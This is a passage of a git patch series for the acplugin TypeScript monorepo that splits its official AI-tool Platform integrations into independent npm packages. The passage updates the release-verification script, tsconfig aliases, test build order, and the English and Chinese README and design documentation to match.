'@tokenroll/acplugin-platform-claude-code' }, + { name: '@tokenroll/acplugin-platform-codex' }, + { name: '@tokenroll/acplugin-platform-cursor' }, + { name: '@tokenroll/acplugin-platform-antigravity' }, + { name: '@tokenroll/acplugin-platform-opencode' }, + { name: '@tokenroll/acplugin-platform-pi' }, { name: '@tokenroll/acplugin-extension-hooks' }, { name: '@tokenroll/acplugin-extension-mcp' }, ]; +/** 主包之外必须通过 Peer Dependency 连接主包的官方生态包名。 */ +const integrationNames = new Set(packages.slice(1).map(item => item.name)); /** 发布 tarball 运行时依赖中绝不能出现的私有工作区包名。 */ const privateNames = new Set([ '@acplugin/core', '@acplugin/test', - '@acplugin/platform-antigravity', - '@acplugin/platform-claude-code', - '@acplugin/platform-codex', - '@acplugin/platform-cursor', - '@acplugin/platform-opencode', - '@acplugin/platform-pi', ]); /** ESM-only 正式包按 ATTW esm-only Profile 有意不提供的旧/CJS 解析模式。 */ const esmOnlyIgnoredResolutions = new Set(['node10', 'node16-cjs']); @@ -243,7 +245,8 @@ async function verifyMainModuleGraph(packageRoot, manifest) { ...Object.keys(manifest.peerDependencies ?? {}), ...Object.keys(manifest.optionalDependencies ?? {}), ]); - assert(!declared.has('@tokenroll/acplugin-extension-mcp'), 'Main package manifest must not depend on the optional MCP Extension.'); + for (const integration of integrationNames) + assert(!declared.has(integration), `Main package manifest must not depend on official integration ${integration}.`); for (const [file, edges] of graph) { for (const specifier of edges.external) { if (nodeBuiltinSpecifiers.has(specifier)) @@ -251,11 +254,31 @@ async function verifyMainModuleGraph(packageRoot, manifest) { /** 外部子路径按其所属 package 与 manifest runtime edge 对齐。 */ const dependency = dependencyName(specifier); assert(declared.has(dependency), `Packed module ${file} imports undeclared runtime dependency ${dependency}.`); - assert(dependency !== '@tokenroll/acplugin-extension-mcp', `Packed module ${file} externalizes the optional MCP Extension.`); + assert(!integrationNames.has(dependency), `Packed module ${file} externalizes official integration ${dependency}.`); } } } +/** + * 验证独立 Platform/Extension 运行时只通过公开主包 Peer 使用框架品牌。 + * + * @param packageRoot 生态包 tarball 的解压 package 根。 + * @param manifest tarball 内真实发布清单。 + */ +async function verifyIntegrationModuleGraph(packageRoot, manifest) { + /** 当前生态包中全部 ESM 运行时模块。 */ + const files = await esmFiles(path.join(packageRoot, 'dist'), packageRoot); + /** 全部运行时模块源码,用于检查公开 peer 边和私有 namespace 泄漏。 */ + const source = (await Promise.all(files.map(file => fs.readFile(path.join(packageRoot, file), 'utf8')))).join('\n'); + assert(manifest.peerDependencies?.['@tokenroll/acplugin'] !== undefined, `${manifest.name} must peer-depend on @tokenroll/acplugin.`); + assert(source.includes('from "@tokenroll/acplugin"'), `${manifest.name} runtime must import the public @tokenroll/acplugin SDK.`); + assert(!source.includes('@acplugin/'), `${manifest.name} runtime leaks a private @acplugin/* import.`); + for (const integration of integrationNames) { + if (integration !== manifest.name) + assert(!source.includes(`from "${integration}"`), `${manifest.name} runtime imports another official integration ${integration}.`); + } +} + /** * 打包一个公开工作区包,并精确识别本次新生成的 tarball。 * @@ -303,7 +326,7 @@ async function inspectTarball(tarball, expectedName, extractRoot) { assert(manifest.name === expectedName, `Packed manifest name mismatch for ${expectedName}.`); for (const field of ['dependencies', 'peerDependencies', 'optionalDependencies']) { for (const dependency of Object.keys(manifest[field] ?? {})) - assert(!privateNames.has(dependency), `${expectedName} exposes private runtime dependency ${dependency}.`); + assert(!privateNames.has(dependency) && !dependency.startsWith('@acplugin/'), `${expectedName} exposes private runtime dependency ${dependency}.`); } /** 对实际 tarball 字节执行的类型发布契约分析。 */ const typeAnalysis = await checkPackage(createPackageFromTarballData(await fs.readFile(tarball))); @@ -321,6 +344,8 @@ async function inspectTarball(tarball, expectedName, extractRoot) { assert(lint.messages.length === 0, `${expectedName} tarball failed publint: ${lint.messages.map(message => message.code).join(', ')}`); if (expectedName === '@tokenroll/acplugin') await verifyMainModuleGraph(packageRoot, manifest); + else + await verifyIntegrationModuleGraph(packageRoot, manifest); return manifest; } @@ -381,6 +406,12 @@ async function verifyMainOnlyMigration(mainTarball, temporary) { assert(report.success === true, 'Main-only packed remote MCP Migration failed.'); assert(report.items.some(item => item.kind === 'mcp' && item.outcome === 'migrated'), 'Main-only Migration did not preserve remote MCP.'); await fs.access(path.join(consumer, 'migrated/src/mcp/docs/mcp.ts')); + /** 迁移结果必须声明独立 Platform package,而不是依赖主包历史 re-export。 */ + const generatedManifest = JSON.parse(await fs.readFile(path.join(consumer, 'migrated/package.json'), 'utf8')); + assert(generatedManifest.devDependencies?.['@tokenroll/acplugin-platform-claude-code']?.startsWith('^') === true, 'Migration did not declare the independent Claude Code Platform package.'); + /** 迁移结果的配置源码必须从独立包加载工厂。 */ + const generatedConfig = await fs.readFile(path.join(consumer, 'migrated/acplugin.config.ts'), 'utf8'); + assert(generatedConfig.includes('from \'@tokenroll/acplugin-platform-claude-code\''), 'Migration config still relies on a main-package Platform export.'); /** 主消费者中是否出现了不应由主包传递安装的可选 MCP Extension。 */ let extensionInstalled = true; try { @@ -395,7 +426,7 @@ async function verifyMainOnlyMigration(mainTarball, temporary) { } /** - * 在完全独立、忽略工作区解析的项目中安装并执行三个正式公开 tarball。 + * 在完全独立、忽略工作区解析的项目中安装并执行九个正式公开 tarball。 * * @param tarballs 公开包名到本地 tarball 的映射。 * @param temporary 当前验证独占临时目录。 @@ -436,14 +467,28 @@ async function verifyConsumer(tarballs, temporary) { include: ['acplugin.config.ts', 'src/**/*.ts'], }, null, 2)}\n`); await fs.writeFile(path.join(consumer, 'acplugin.config.ts'), `import { defineConfig } from '@tokenroll/acplugin'; +import { definePlatform } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; import hooks from '@tokenroll/acplugin-extension-hooks'; import mcp from '@tokenroll/acplugin-extension-mcp'; +const external = definePlatform({ + id: 'external-fixture', + apiVersion: '1', + deliveryType: 'plugin', + prepare: () => ({ documents: [], artifacts: [] }), + generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), + validateBundle() {}, +}); + export default defineConfig({ name: 'packed-consumer', version: '1.0.0', description: 'Clean tarball consumer.', + platforms: [claudeCode(), codex(), external], extensions: [hooks(), mcp()], + build: { strict: false }, }); `); await fs.writeFile(path.join(consumer, 'src/skills/hello/SKILL.md'), `--- @@ -467,7 +512,10 @@ export default defineHook({ await run('node', ['--input-type=module', '--eval', 'import(\'@tokenroll/acplugin\').then(m => { if (typeof m.defineConfig !== \'function\') process.exit(1) })'], consumer); /** 安装产物执行 validate 的机器可读结果。 */ const validate = await run('pnpm', ['exec', 'acplugin', 'validate', '--json'], consumer, { capture: true }); - assert(JSON.parse(validate.stdout).success === true, 'Packed consumer validation failed.'); + /** packed 主包同时接受官方 peer package 与第三方形态 Platform 的验证报告。 */ + const validateReport = JSON.parse(validate.stdout); + assert(validateReport.success === true, 'Packed consumer validation failed.'); + assert(validateReport.platforms.includes('external-fixture'), 'Packed consumer rejected the external Platform shape.'); /** 安装产物执行默认双 Platform build 的机器可读结果。 */ const build = await run('pnpm', ['exec', 'acplugin', 'build', '--json'], consumer, { capture: true }); assert(JSON.parse(build.stdout).success === true, 'Packed consumer build failed.'); @@ -502,7 +550,7 @@ export default defineHook({ } /** - * 打包公开 Cohort、验证内容与版本关系,并执行干净消费者测试。 + * 打包九个独立公开包、验证 Peer 关系,并执行干净消费者测试。 */ async function main() { /** CI 可显式保留 tarball;本地无参数调用仍完全使用临时目录。 */ @@ -510,7 +558,7 @@ async function main() { /** 无论成功失败默认都会删除的发布验证临时目录。 */ const temporary = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-release-verify-')); try { - /** 存放三个新 tarball 的显式保留目录或临时目录。 */ + /** 存放九个新 tarball 的显式保留目录或临时目录。 */ const tarballDirectory = retained ?? path.join(temporary, 'tarballs'); /** 各包独立解压和清单检查的根目录。 */ const extractRoot = path.join(temporary, 'extract'); @@ -525,20 +573,18 @@ async function main() { tarballs.set(item.name, tarball); manifests.set(item.name, await inspectTarball(tarball, item.name, extractRoot)); } - /** 公开 Cohort 实际打包出的版本集合。 */ - const versions = new Set([...manifests.values()].map(manifest => manifest.version)); - assert(versions.size === 1, 'The public release cohort must use one version.'); - /** 三个公开包共同使用的唯一版本。 */ - const version = [...versions][0]; - assert(version === '1.0.0', `The release cohort must remain at 1.0.0 before the first manual publish, found ${version}.`); - for (const extensionName of ['@tokenroll/acplugin-extension-hooks', '@tokenroll/acplugin-extension-mcp']) { - /** 当前 Extension tarball 中声明的主包 Peer 版本范围。 */ - const peerRange = manifests.get(extensionName).peerDependencies?.['@tokenroll/acplugin']; - assert(peerRange === `^${version}`, `${extensionName} must pack with @tokenroll/acplugin peer range ^${version}.`); + /** 主包当前独立版本决定 workspace:^ 在所有生态 tarball 中的改写结果。 */ + const mainVersion = manifests.get('@tokenroll/acplugin').version; + for (const integrationName of integrationNames) { + /** 当前 Platform/Extension tarball 中声明的主包 Peer 版本范围。 */ + const peerRange = manifests.get(integrationName).peerDependencies?.['@tokenroll/acplugin']; + assert(peerRange === `^${mainVersion}`, `${integrationName} must pack with @tokenroll/acplugin peer range ^${mainVersion}.`); } await verifyMainOnlyMigration(tarballs.get('@tokenroll/acplugin'), temporary); await verifyConsumer(tarballs, temporary); - process.stdout.write(`Verified three @tokenroll/acplugin ${version} tarballs in a clean consumer.\n`); + /** 输出独立包版本,避免把同 revision 验证误表述为 fixed cohort。 */ + const versions = packages.map(item => `${item.name}@${manifests.get(item.name).version}`).join(', '); + process.stdout.write(`Verified nine independent public tarballs in a clean consumer: ${versions}.\n`); if (retained) process.stdout.write(`Verified tarballs retained at ${retained}\n`); } finally { diff --git a/tsconfig.base.json b/tsconfig.base.json index be06a22..ecaa747 100644 --- a/tsconfig.base.json +++ b/tsconfig.base.json @@ -5,19 +5,13 @@ "moduleResolution": "NodeNext", "paths": { "@acplugin/core": ["./packages/core/src/index.ts"], - "@acplugin/platform-antigravity": ["./packages/platforms/antigravity/src/index.ts"], - "@acplugin/platform-claude-code": ["./packages/platforms/claude-code/src/index.ts"], - "@acplugin/platform-codex": ["./packages/platforms/codex/src/index.ts"], - "@acplugin/platform-cursor": ["./packages/platforms/cursor/src/index.ts"], - "@acplugin/platform-opencode": ["./packages/platforms/opencode/src/index.ts"], - "@acplugin/platform-pi": ["./packages/platforms/pi/src/index.ts"], "@tokenroll/acplugin": ["./packages/acplugin/src/index.ts"], - "@tokenroll/acplugin/platforms/antigravity": ["./packages/acplugin/src/platforms/antigravity.ts"], - "@tokenroll/acplugin/platforms/claude-code": ["./packages/acplugin/src/platforms/claude-code.ts"], - "@tokenroll/acplugin/platforms/codex": ["./packages/acplugin/src/platforms/codex.ts"], - "@tokenroll/acplugin/platforms/cursor": ["./packages/acplugin/src/platforms/cursor.ts"], - "@tokenroll/acplugin/platforms/opencode": ["./packages/acplugin/src/platforms/opencode.ts"], - "@tokenroll/acplugin/platforms/pi": ["./packages/acplugin/src/platforms/pi.ts"], + "@tokenroll/acplugin-platform-antigravity": ["./packages/platforms/antigravity/src/index.ts"], + "@tokenroll/acplugin-platform-claude-code": ["./packages/platforms/claude-code/src/index.ts"], + "@tokenroll/acplugin-platform-codex": ["./packages/platforms/codex/src/index.ts"], + "@tokenroll/acplugin-platform-cursor": ["./packages/platforms/cursor/src/index.ts"], + "@tokenroll/acplugin-platform-opencode": ["./packages/platforms/opencode/src/index.ts"], + "@tokenroll/acplugin-platform-pi": ["./packages/platforms/pi/src/index.ts"], "@tokenroll/acplugin-extension-hooks": ["./packages/extensions/hooks/src/index.ts"], "@tokenroll/acplugin-extension-mcp": ["./packages/extensions/mcp/src/index.ts"], }, From 3380ada8b907cc6e1b63154e3582187d9b0dc83b Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Sat, 8 Aug 2026 17:25:34 +0800 Subject: [PATCH 15/27] fix(test): preserve package build order --- packages/test/package.json | 2 +- packages/test/vitest.config.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/packages/test/package.json b/packages/test/package.json index 8a60d07..c4b4aaf 100644 --- a/packages/test/package.json +++ b/packages/test/package.json @@ -5,7 +5,7 @@ "type": "module", "engines": { "node": ">=20" }, "scripts": { - "pretest": "pnpm --filter @acplugin/core run build && pnpm --filter @tokenroll/acplugin run build && pnpm --filter \"@tokenroll/acplugin-platform-*\" run build && pnpm --filter \"@tokenroll/acplugin-extension-*\" run build", + "pretest": "pnpm --filter @acplugin/core run build && pnpm --filter \"@tokenroll/acplugin-platform-*\" run build && pnpm --filter \"@tokenroll/acplugin-extension-*\" run build && pnpm --filter @tokenroll/acplugin run build", "test": "vitest run", "test:watch": "vitest", "typecheck": "tsc -p tsconfig.json" diff --git a/packages/test/vitest.config.ts b/packages/test/vitest.config.ts index 87474b9..5654f71 100644 --- a/packages/test/vitest.config.ts +++ b/packages/test/vitest.config.ts @@ -11,7 +11,7 @@ function workspaceSource(path: string): string { return fileURLToPath(new URL(path, import.meta.url)); } -// 集成测试直接 Alias 到工作区源码;pretest 仍会构建 CLI 与公开 Extension 以覆盖真实产物路径。 +// 集成测试直接 Alias 到工作区源码;pretest 仍会按依赖顺序构建全部正式包,以覆盖真实产物路径。 export default defineConfig({ test: { environment: 'node', From 272c4ed3018716955c9eeff265cfce274ed01787 Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Sat, 8 Aug 2026 17:27:22 +0800 Subject: [PATCH 16/27] docs: document independent platform packages --- README.md | 44 +- README.zh-CN.md | 56 +- ...0003-node-toolchain-and-runtime-support.md | 5 +- ...ode-toolchain-and-runtime-support.zh-CN.md | 7 +- .../0004-first-class-platform-packages.md | 2 +- ...004-first-class-platform-packages.zh-CN.md | 2 +- llmdoc/architecture/system.md | 6 +- llmdoc/architecture/system.zh-CN.md | 6 +- llmdoc/guides/package-code-tour.zh-CN.md | 776 ++++++++++++++++++ llmdoc/guides/release.md | 71 +- llmdoc/guides/release.zh-CN.md | 71 +- llmdoc/guides/usage.md | 19 +- llmdoc/guides/usage.zh-CN.md | 19 +- llmdoc/index.md | 1 + llmdoc/overview/project.md | 14 +- llmdoc/overview/project.zh-CN.md | 14 +- llmdoc/startup.md | 6 +- llmdoc/state/sync.md | 11 +- packages/acplugin/README.md | 26 +- packages/extensions/hooks/README.md | 6 +- packages/extensions/mcp/README.md | 6 +- 21 files changed, 1021 insertions(+), 147 deletions(-) create mode 100644 llmdoc/guides/package-code-tour.zh-CN.md diff --git a/README.md b/README.md index 42f304b..da53dcc 100644 --- a/README.md +++ b/README.md @@ -21,24 +21,29 @@ pnpm install pnpm build ``` -Or add the CLI to an existing empty project: +Or add the framework and the Platforms you want to an existing empty project: ```bash -pnpm add -D @tokenroll/acplugin +pnpm add -D @tokenroll/acplugin \ + @tokenroll/acplugin-platform-claude-code \ + @tokenroll/acplugin-platform-codex ``` ```ts // acplugin.config.ts import { defineConfig } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; export default defineConfig({ name: 'my-plugin', version: '1.0.0', description: 'Reusable AI workflows.', + platforms: [claudeCode(), codex()], }); ``` -The default build produces both `dist/claude-code` and `dist/codex`. Cursor, Antigravity, OpenCode, and Pi are opt-in because their compatibility and delivery types differ. +`init` selects Claude Code and Codex unless you pass `--platform`, but it writes both packages and imports explicitly. The runtime has no implicit Platforms: every build uses exactly the instances in `platforms`. `acplugin.config.ts`, Hook descriptors, and MCP descriptors are trusted executable project code loaded by the local Node.js process. Review them with the same care as build scripts; Migration input remains untrusted data and is never executed as canonical descriptor code. @@ -73,7 +78,9 @@ acplugin deliberately has no Instructions Component. Repository-wide instruction `acplugin.config.ts` exports an object or a sync/async function receiving `{ command, mode }`. ```ts -import { claudeCode, codex, defineConfig } from '@tokenroll/acplugin'; +import { defineConfig } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; export default defineConfig(({ mode }) => ({ name: 'team-review', @@ -106,20 +113,25 @@ Top-level fields: | `displayName` | Optional presentation name. | | `srcDir` | Canonical source directory; defaults to `src`. | | `public` | `false`, a directory, or explicit copy rules. | -| `platforms` | Platform factory list; defaults to Claude Code and Codex. | +| `platforms` | Required, non-empty list of explicitly imported Platform instances. | | `extensions` | Optional horizontal capabilities such as Hooks and MCP. | | `build.outDir` | Managed output directory; defaults to `dist`. | | `build.strict` | Fail on degraded/unsupported compatibility; defaults to `true`. | -All built-in Platform factories are exported from the main package: +Official Platforms are independent packages with a peer dependency on the framework: ```ts -import { antigravity, claudeCode, codex, cursor, openCode, pi } from '@tokenroll/acplugin'; +import antigravity from '@tokenroll/acplugin-platform-antigravity'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; +import cursor from '@tokenroll/acplugin-platform-cursor'; +import openCode from '@tokenroll/acplugin-platform-opencode'; +import pi from '@tokenroll/acplugin-platform-pi'; const platforms = [claudeCode(), codex(), cursor(), antigravity(), openCode(), pi()]; ``` -Claude Code, Codex, Cursor, and Antigravity emit static Plugin delivery units. OpenCode emits a workspace overlay; Pi emits an npm package. `acplugin init --platform ` writes the selected factories explicitly. +Claude Code, Codex, Cursor, and Antigravity emit static Plugin delivery units. OpenCode emits a workspace overlay; Pi emits an npm package. `acplugin init --platform ` installs and writes the selected packages explicitly. The main package does not re-export official integrations, discover packages by ID, or install anything during a build. ## Core Components @@ -188,12 +200,14 @@ pnpm add -D @tokenroll/acplugin-extension-hooks ```ts import { defineConfig } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; import hooks from '@tokenroll/acplugin-extension-hooks'; export default defineConfig({ name: 'policy-plugin', version: '1.0.0', description: 'Portable policy hooks.', + platforms: [claudeCode()], extensions: [hooks()], }); ``` @@ -242,12 +256,14 @@ pnpm add -D @tokenroll/acplugin-extension-mcp ```ts import { defineConfig } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; import mcp from '@tokenroll/acplugin-extension-mcp'; export default defineConfig({ name: 'tools-plugin', version: '1.0.0', description: 'Portable MCP tools.', + platforms: [claudeCode()], extensions: [mcp()], }); ``` @@ -344,10 +360,16 @@ Use `--dry-run` for scan/map/validation without destination writes and `--strict Public packages: - `@tokenroll/acplugin` +- `@tokenroll/acplugin-platform-claude-code` +- `@tokenroll/acplugin-platform-codex` +- `@tokenroll/acplugin-platform-cursor` +- `@tokenroll/acplugin-platform-antigravity` +- `@tokenroll/acplugin-platform-opencode` +- `@tokenroll/acplugin-platform-pi` - `@tokenroll/acplugin-extension-hooks` - `@tokenroll/acplugin-extension-mcp` -Core, built-in Platform implementations, and the Vitest integration workspace are private packages bundled or excluded from public runtime manifests. +The official integrations use the same public lifecycle SDK available to third-party packages and declare the main package as a peer dependency. Only Core and the Vitest integration workspace remain private; Core is bundled into the main package and no public runtime manifest contains `@acplugin/*`. ```bash pnpm install @@ -355,11 +377,11 @@ pnpm run check pnpm run release:verify ``` -`release:verify` creates pnpm tarballs, inspects their files/manifests and type resolution, installs all three into a clean external consumer, builds the default project, and creates/builds a six-Platform/two-Extension scaffold. It performs no npm publication. +`release:verify` creates all nine public tarballs from one revision, inspects their files/manifests and type resolution, verifies peer rewriting and brand interoperability, and installs a six-Platform/two-Extension scaffold into a clean external consumer. It performs no npm publication. Pull requests automatically run lint and typecheck. The manually dispatched `Patch` workflow accepts a target branch containing at least one effective Changeset that bumps a public package, consumes its Changesets to bump versions and generate changelogs, and opens a version PR back to that branch. -Every npm release is manual. A maintainer publishes the verified tarballs in Hooks → MCP → main order, verifies each exact Registry version, and only then manually creates the matching `tokenroll-vX.Y.Z` tag and GitHub Release. The repository contains no automated publication workflow. +Every package is versioned independently and only changed packages are published. If a new integration release requires a newly published main-package peer range, publish and verify that main-package version first; otherwise unrelated integrations have no prescribed order. Each exact Registry version, package-specific tag, and GitHub Release is handled manually. The repository contains no automated publication workflow. ## License diff --git a/README.zh-CN.md b/README.zh-CN.md index 73be603..1034764 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -21,24 +21,29 @@ pnpm install pnpm build ``` -也可以在空工程中安装: +也可以在空工程中安装框架和需要的 Platform: ```bash -pnpm add -D @tokenroll/acplugin +pnpm add -D @tokenroll/acplugin \ + @tokenroll/acplugin-platform-claude-code \ + @tokenroll/acplugin-platform-codex ``` ```ts // acplugin.config.ts import { defineConfig } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; export default defineConfig({ name: 'my-plugin', version: '1.0.0', description: '可复用的 AI 工作流。', + platforms: [claudeCode(), codex()], }); ``` -默认同时生成 `dist/claude-code` 和 `dist/codex`。Cursor、Antigravity、OpenCode 和 Pi 需要显式启用,因为它们的兼容性和交付形态不同。 +`init` 在没有传入 `--platform` 时会选择 Claude Code 和 Codex,但会显式写入两个 package 及其 import。运行时没有隐式 Platform:每次构建只使用 `platforms` 中的实例。 `acplugin.config.ts`、Hook descriptor 和 MCP descriptor 是由本地 Node.js 进程加载的可信工程代码,应按构建脚本同等标准审查。Migration 输入始终作为不可信数据处理,不会被当作规范 descriptor 执行。 @@ -73,7 +78,9 @@ acplugin 不提供 Instructions Component。仓库级 Instructions 属于宿主/ `acplugin.config.ts` 可以导出对象,也可以导出接收 `{ command, mode }` 的同步/异步函数。 ```ts -import { claudeCode, codex, defineConfig } from '@tokenroll/acplugin'; +import { defineConfig } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; export default defineConfig(({ mode }) => ({ name: 'team-review', @@ -104,20 +111,25 @@ export default defineConfig(({ mode }) => ({ | `displayName` | 可选展示名称。 | | `srcDir` | 规范化源码目录,默认 `src`。 | | `public` | `false`、目录,或明确 copy 规则。 | -| `platforms` | Platform 工厂列表,默认 Claude Code + Codex。 | +| `platforms` | 必填的非空列表,内容是显式导入的 Platform 实例。 | | `extensions` | Hooks/MCP 等可选横向能力。 | | `build.outDir` | 托管输出目录,默认 `dist`。 | | `build.strict` | 遇到 degraded/unsupported 是否失败,默认 `true`。 | -主包导出全部内置 Platform 工厂: +官方 Platform 是以主包为 peer dependency 的独立 package: ```ts -import { antigravity, claudeCode, codex, cursor, openCode, pi } from '@tokenroll/acplugin'; +import antigravity from '@tokenroll/acplugin-platform-antigravity'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; +import cursor from '@tokenroll/acplugin-platform-cursor'; +import openCode from '@tokenroll/acplugin-platform-opencode'; +import pi from '@tokenroll/acplugin-platform-pi'; const platforms = [claudeCode(), codex(), cursor(), antigravity(), openCode(), pi()]; ``` -Claude Code、Codex、Cursor 和 Antigravity 生成静态 Plugin 交付单元;OpenCode 生成 Workspace Overlay;Pi 生成 npm Package。`acplugin init --platform ` 会显式写入所选工厂。 +Claude Code、Codex、Cursor 和 Antigravity 生成静态 Plugin 交付单元;OpenCode 生成 Workspace Overlay;Pi 生成 npm Package。`acplugin init --platform ` 会显式安装并写入所选 package。主包不会重新导出官方集成、按 ID 发现 package,也不会在构建时安装依赖。 ## 核心 Components @@ -186,12 +198,14 @@ pnpm add -D @tokenroll/acplugin-extension-hooks ```ts import { defineConfig } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; import hooks from '@tokenroll/acplugin-extension-hooks'; export default defineConfig({ name: 'policy-plugin', version: '1.0.0', description: '可移植策略 Hooks。', + platforms: [claudeCode()], extensions: [hooks()], }); ``` @@ -238,6 +252,20 @@ acplugin 把每个实现只 bundle 一次,生成平台中立的 Node 20 ESM Ha pnpm add -D @tokenroll/acplugin-extension-mcp ``` +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import mcp from '@tokenroll/acplugin-extension-mcp'; + +export default defineConfig({ + name: 'tools-plugin', + version: '1.0.0', + description: '可移植 MCP 工具。', + platforms: [claudeCode()], + extensions: [mcp()], +}); +``` + 远程 Streamable HTTP: ```ts @@ -328,10 +356,16 @@ acplugin migrate owner/repository ./new-workspace --all 公开包: - `@tokenroll/acplugin` +- `@tokenroll/acplugin-platform-claude-code` +- `@tokenroll/acplugin-platform-codex` +- `@tokenroll/acplugin-platform-cursor` +- `@tokenroll/acplugin-platform-antigravity` +- `@tokenroll/acplugin-platform-opencode` +- `@tokenroll/acplugin-platform-pi` - `@tokenroll/acplugin-extension-hooks` - `@tokenroll/acplugin-extension-mcp` -Core、内置 Platform 实现和 Vitest Test workspace 均为私有包,会被内联或排除在公开运行时依赖之外。 +官方集成使用与第三方 package 相同的公开 lifecycle SDK,并把主包声明为 peer dependency。只有 Core 和 Vitest Test workspace 保持私有;Core 会内联进主包,任何公开运行时清单都不得包含 `@acplugin/*`。 ```bash pnpm install @@ -339,11 +373,11 @@ pnpm run check pnpm run release:verify ``` -`release:verify` 会创建三个 pnpm tarball、检查 Manifest/文件列表和类型解析、安装到 monorepo 外的干净消费者、构建默认工程,并生成和构建六 Platform/两 Extension 脚手架;不会发布 npm。 +`release:verify` 会从同一 Revision 创建九个公开 tarball,检查 Manifest、文件列表、类型解析、peer rewrite 和品牌互操作,并在 monorepo 外的干净消费者中构建六 Platform/两 Extension 脚手架;不会发布 npm。 PR 会自动执行 lint 和 typecheck。手工触发的 `Patch` Workflow 接收一个至少包含一份会升级公开包的有效 Changeset 的目标分支,消费 Changesets 以升级版本并生成 changelog,随后创建一个合并回该目标分支的版本 PR。 -所有 npm 版本都从已验证 tarball 手工发布,顺序为 Hooks → MCP → 主包。逐一验证 Registry 精确版本后,再由维护者手工创建对应的 `tokenroll-vX.Y.Z` Tag 和 GitHub Release;仓库不包含自动发布 Workflow。 +九个公开 package 独立版本化,只发布发生版本变化的 package。如果新的集成版本要求尚未发布的主包 peer range,先发布并验证该主包版本;除此之外,各集成之间没有固定顺序。每个 Registry 精确版本、package 对应的 Tag 和 GitHub Release 都由维护者手工处理;仓库不包含自动发布 Workflow。 ## License diff --git a/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.md b/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.md index 6c9f8c7..d60dfb1 100644 --- a/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.md +++ b/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.md @@ -12,9 +12,9 @@ The repository build tool and the published packages have different Node.js cons 1. Repository development, build, and release verification use `^22.18.0 || >=24.11.0`; the standard CI version is 22.18.0. 2. The CLI pins Commander 14.0.1, whose engine range still includes Node 20. Existing CLI behavior is protected by subprocess tests. -3. The three public packages declare the intersection supported by their current direct runtime dependencies: `^20.19.0 || ^22.13.0 || >=23.5.0`. +3. All public packages declare the intersection supported by their current direct runtime dependencies: `^20.19.0 || ^22.13.0 || >=23.5.0`. 4. Generated Hooks/MCP code and package bundles retain the `node20` target. `@types/node` remains on the Node 20.19 API baseline. -5. Private package manifests are not mass-rewritten to the repository toolchain range. They are not published, and their emitted code remains part of the Node 20-targeted public bundle. +5. Private package manifests are not mass-rewritten to the repository toolchain range. Core is not published and its emitted code remains part of the Node 20-targeted main-package bundle. 6. Release verification builds and packs on Node 22.18, then installs the exact verified tarballs in a separate Node 20.19 clean consumer smoke test. ## Consequences @@ -35,6 +35,7 @@ The repository build tool and the published packages have different Node.js cons - Root `package.json:7-9,29-44` - `packages/acplugin/package.json:11,31-57` +- `packages/platforms/*/package.json:11` - `packages/extensions/hooks/package.json:11,21-28` - `packages/extensions/mcp/package.json:11,20-27` - `.github/workflows/check.yml:16-19` diff --git a/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.zh-CN.md b/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.zh-CN.md index 169f83d..7657b32 100644 --- a/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.zh-CN.md +++ b/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.zh-CN.md @@ -12,9 +12,9 @@ 1. 仓库开发、构建和发布验证使用 `^22.18.0 || >=24.11.0`;标准 CI 版本为 22.18.0。 2. CLI 固定 Commander 14.0.1,该版本的 engine 仍包含 Node 20;现有 CLI 行为由子进程测试保护。 -3. 三个公开包声明当前直接运行依赖的支持交集:`^20.19.0 || ^22.13.0 || >=23.5.0`。 +3. 全部公开 package 声明当前直接运行依赖的支持交集:`^20.19.0 || ^22.13.0 || >=23.5.0`。 4. 生成的 Hooks/MCP 代码与 package bundle 保持 `node20` target;`@types/node` 保持 Node 20.19 API 基线。 -5. 不把私有 package manifest 批量改成仓库工具链范围。它们不发布,其 emitted code 最终属于以 Node 20 为目标的公开 bundle。 +5. 不把私有 package manifest 批量改成仓库工具链范围。Core 不发布,其 emitted code 最终属于以 Node 20 为目标的主包 bundle。 6. 发布验证在 Node 22.18 构建并打包,再用单独的 Node 20.19 clean consumer smoke 安装同一批已验证 tarball。 ## 影响 @@ -27,7 +27,7 @@ ## 未采用方案 - 所有 manifest 保持 `>=20`:会声称支持直接依赖明确拒绝的版本。 -- 三个公开包全部抬到 Node 22.18:把消费者无谓绑定到仓库构建工具。 +- 全部公开 package 都抬到 Node 22.18:把消费者无谓绑定到仓库构建工具。 - 保留 Commander 15 同时声称支持 Node 20:内部矛盾。 - 在 Node 20 CI 安装整个 workspace:验证的是不受支持的 dev 工具链,而不是公开运行时。 @@ -35,6 +35,7 @@ - 根 